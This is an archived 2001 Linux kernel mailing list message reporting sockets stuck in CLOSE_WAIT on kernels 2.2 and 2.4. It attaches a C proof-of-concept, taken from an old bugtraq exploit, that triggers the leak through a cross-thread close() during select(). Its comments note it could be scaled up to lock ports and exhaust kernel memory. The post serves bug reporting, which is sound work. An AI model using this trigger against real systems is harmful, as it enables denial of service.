From: <eg_nth@sinocdn.com>
To: linux-kernel@vger.kernel.org
Cc: dicky@sinocdn.com
Subject: CLOSE_WAIT bug?
Date: Wed, 13 Jun 2001 01:30:38 +0800 (HKT) [thread overview]
Message-ID: <Pine.LNX.4.21.0106130037330.10007-200000@sinocdn.com> (raw)
[-- Attachment #1: Type: TEXT/PLAIN, Size: 1320 bytes --]
Hi all,
I suppect that there is bug in both kernel 2.2.19 and 2.4.5.
The situation is as follow.
One server socket created and listening, blocking on select(),
once a client connect to that port, there is another thread in server
side issues a close() to the new connection.
After the client close the connection. The connection in server side will
stuck on CLOSE_WAIT forever until the program being killed.
I have attached a program to trigger the bug.
The program is written base on a bugtraq post on this link:
http://archives.indenial.com/hypermail/bugtraq/1999/January1999/0015.html
This is the output of "netstat -anop":
tcp 1 0 127.0.0.1:52882 127.0.0.1:1031 CLOSE_WAIT - off (0.00/0/0)
tcp 1 0 127.0.0.1:52882 127.0.0.1:1030 CLOSE_WAIT - off (0.00/0/0)
You can see that there is no owner and the timer is off.
I encounter this in my server program and the CLOSE_WAIT thread eat up
all the resource as it cannot be released.
I have tried this on kernel 2.2.16, 2.2.19, 2.4.5 and using
gcc version 2.96 20000731 (Red Hat Linux 7.0), all this have such problem.
I am new to kernel hacking. I don't know whether this is a bug or not.
Please correct me if I am doing something wrong and forgive my poor
description. :)
Thanks
Dicky
PS. Please CC: dicky@sinocdn.com when reply.
[-- Attachment #2: Type: TEXT/PLAIN, Size: 3157 bytes --]
// This program will kill a random port on a linux machine. The kernel will
// forever listen to that port and send the connections nowhere. Tested with
// Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,
// but removing LinuxThreads from your system will not solve the problem.
// The bug is triggered when a multithreaded program closes a socket from
// one thread while another thread is selecting on it. A subsequent abort
// leaves the socket in never-never land.
// Do not underestimate the risk of this exploit. While this program
// is mild, more vicious programs could lock large numbers of ports or
// replicate this same attack on an active connection with large
// send/receive buffers full of data. This could cause large increases
// in kernel memory consumption.
// Discovered by David J. Schwartz <davids@webmaster.com>
// Copyright (C) 1998, David J. Schwartz
// Note: This bug was not fixed in 2.0.36, as I was told it would be
// Compile with:
// gcc CLOSE_WAIT_test.c -lpthread -o CLOSE_WAIT_test
#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <errno.h>
volatile int s;
volatile int sock;
volatile int connected=0;
void *Thread1(void *a)
{
int i,p;
struct sockaddr_in to;
fd_set fd;
s=socket(AF_INET, SOCK_STREAM, 0);
if(s<=0) return;
memset(&to, 0, sizeof(to));
srand(getpid());
/* we pick a random port between 50000 and 59999 */
p=(rand()%10000)+50000;
printf("port = %d\n", p);
fflush(stdout);
to.sin_port=htons(p);
to.sin_addr.s_addr=0;
to.sin_family=AF_INET;
if(bind(s, (struct sockaddr *)&to, sizeof(to))<0)
fprintf(stderr,"no bind\n");
if(listen(s,10)!=0)
fprintf(stderr,"No Listen\n");
/* now we are listening on that port */
i=sizeof(to);
FD_ZERO(&fd);
FD_SET(s,&fd);
fprintf(stdout,"Listening, before select\n");
fprintf(stdout,"Please connect to port %d now\n", p);
select(s+1,&fd,NULL,NULL,NULL);
/* at this point we have selected on it as well */
fprintf(stderr,"select returned!\n");
if (FD_ISSET(s, &fd))
{
fprintf(stdout, "socket is set\n");
sock = accept(s, NULL, NULL);
fprintf(stdout, "accepted\n");
FD_SET(sock, &fd);
fprintf(stdout, "FD_SET ok\n");
connected = 1;
fprintf(stdout,"\nListening, before select\n");
select(sock+1, &fd, NULL, NULL, NULL);
fprintf(stdout, "select returned\n");
}
else
{
fprintf(stderr, "Error : fd not set\n");
exit(1);
}
}
void *Thread2(void *a)
{
fprintf(stdout,"Thread2 : before close the client socket\n");
close(sock);
fprintf(stdout,"Thread2 : after close the client socket\n\n\n");
fprintf(stdout,"Please close the remote session and check the result\n");
fflush(stderr);
// abort();
}
void main(void)
{
pthread_t j;
pthread_create(&j,NULL,Thread1,NULL);
while (connected == 0)
usleep(1000); /* give the other thread time to finish */
pthread_create(&j,NULL,Thread2,NULL);
while(1) sleep(1);
}
next reply other threads:[~2001-06-12 17:21 UTC|newest]
Thread overview: 5+ messages / expand[flat|nested] mbox.gz Atom feed top
2001-06-12 17:30 eg_nth [this message]
2001-06-13 2:07 ` CLOSE_WAIT bug? David Schwartz
[not found] <Pine.LNX.4.21.0106130037330.10007-200000@sinocdn.com.suse.lists.linux.kernel>
2001-06-13 8:55 ` Andi Kleen
2002-04-01 9:59 Beng Asuncion
[not found] <3CA82F7F.312547B8@globalsources.com.suse.lists.linux.kernel>
2002-04-01 17:05 ` Andi Kleen
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=Pine.LNX.4.21.0106130037330.10007-200000@sinocdn.com \
--to=eg_nth@sinocdn.com \
--cc=dicky@sinocdn.com \
--cc=linux-kernel@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).